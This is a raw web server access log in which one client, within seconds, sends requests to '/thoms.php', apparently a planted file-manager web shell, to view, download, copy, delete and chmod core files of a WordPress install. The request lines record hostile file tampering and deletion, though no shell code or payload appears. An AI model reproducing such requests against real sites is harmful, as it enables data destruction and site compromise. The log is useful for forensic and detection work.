45.135.193.11 - - [11/Sep/2026:23:33:02 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fms-default-constants.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fms-default-constants.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:02 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22220 "https://163.245.207.76:443/thoms.php?dl=nav-menu-template.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:02 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22214 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fms-default-constants.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:02 -0400] "GET /thoms.php?del=option.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=option.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:02 -0400] "GET /thoms.php?dl=rewrite.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=rewrite.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:02 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?del=option.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:02 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-requests.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-requests.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:02 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?dl=rewrite.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:02 -0400] "GET /thoms.php?chmod=class-wp-customize-widgets.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=class-wp-customize-widgets.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:02 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-requests.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:02 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?chmod=class-wp-customize-widgets.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:02 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-http-cookie.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-http-cookie.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:02 -0400] "GET /thoms.php?chmod=class-wp-http-curl.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=class-wp-http-curl.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:02 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22232 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-http-cookie.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:02 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-tax-query.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-tax-query.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:02 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?chmod=class-wp-http-curl.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:03 -0400] "GET /thoms.php?del=feed-rdf.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=feed-rdf.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:02 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-tax-query.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:03 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22266 "https://163.245.207.76:443/thoms.php?del=feed-rdf.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:03 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Ffunctions.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Ffunctions.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:03 -0400] "GET /thoms.php?chmod=IXR&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=IXR&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:03 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Ffunctions.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:03 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?chmod=IXR&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:03 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fstyle-engine HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fstyle-engine" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:03 -0400] "GET /thoms.php?dl=class-wp-script-modules.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=class-wp-script-modules.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:03 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fstyle-engine" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:03 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?dl=class-wp-script-modules.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:03 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-user.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-user.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:03 -0400] "GET /thoms.php?del=session.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=session.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:03 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22235 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-user.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:03 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22214 "https://163.245.207.76:443/thoms.php?del=session.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:03 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fshortcodes.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fshortcodes.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:03 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=theme-previews.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=theme-previews.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:03 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fshortcodes.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:03 -0400] "GET /thoms.php?dl=class-walker-comment.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=class-walker-comment.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:03 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=theme-previews.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:04 -0400] "GET /thoms.php?del=class-wp-block-patterns-registry.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=class-wp-block-patterns-registry.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:03 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22216 "https://163.245.207.76:443/thoms.php?dl=class-walker-comment.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:04 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?del=class-wp-block-patterns-registry.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:04 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-session-tokens.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-session-tokens.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:04 -0400] "GET /thoms.php?dl=ms-functions.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=ms-functions.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:04 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22175 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-session-tokens.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:04 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?dl=ms-functions.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:04 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-block-styles-registry.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-block-styles-registry.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:04 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-customize-manager.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-customize-manager.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:04 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22243 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-block-styles-registry.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:04 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22215 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-customize-manager.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:04 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-http-proxy.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-http-proxy.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:04 -0400] "GET /thoms.php?del=class.wp-styles.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=class.wp-styles.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:04 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-http-proxy.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:04 -0400] "GET /thoms.php?chmod=functions.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=functions.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:04 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22063 "https://163.245.207.76:443/thoms.php?del=class.wp-styles.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:04 -0400] "GET /thoms.php?chmod=class-wp-admin-bar.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=class-wp-admin-bar.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:04 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22251 "https://163.245.207.76:443/thoms.php?chmod=functions.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:04 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?chmod=class-wp-admin-bar.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:05 -0400] "GET /thoms.php?chmod=class-wp-block-bindings-registry.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block-bindings-registry.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:05 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-theme-json-schema.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-theme-json-schema.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:05 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22222 "https://163.245.207.76:443/thoms.php?chmod=class-wp-block-bindings-registry.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:05 -0400] "GET /thoms.php?del=class.wp-dependencies.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=class.wp-dependencies.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:05 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-theme-json-schema.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:05 -0400] "GET /thoms.php?del=default-widgets.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=default-widgets.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:05 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?del=class.wp-dependencies.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:05 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22146 "https://163.245.207.76:443/thoms.php?del=default-widgets.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:05 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Ffeed-rdf.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Ffeed-rdf.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:05 -0400] "GET /thoms.php?chmod=class-wp-text-diff-renderer-inline.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=class-wp-text-diff-renderer-inline.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:05 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Ffeed-rdf.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:05 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?chmod=class-wp-text-diff-renderer-inline.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
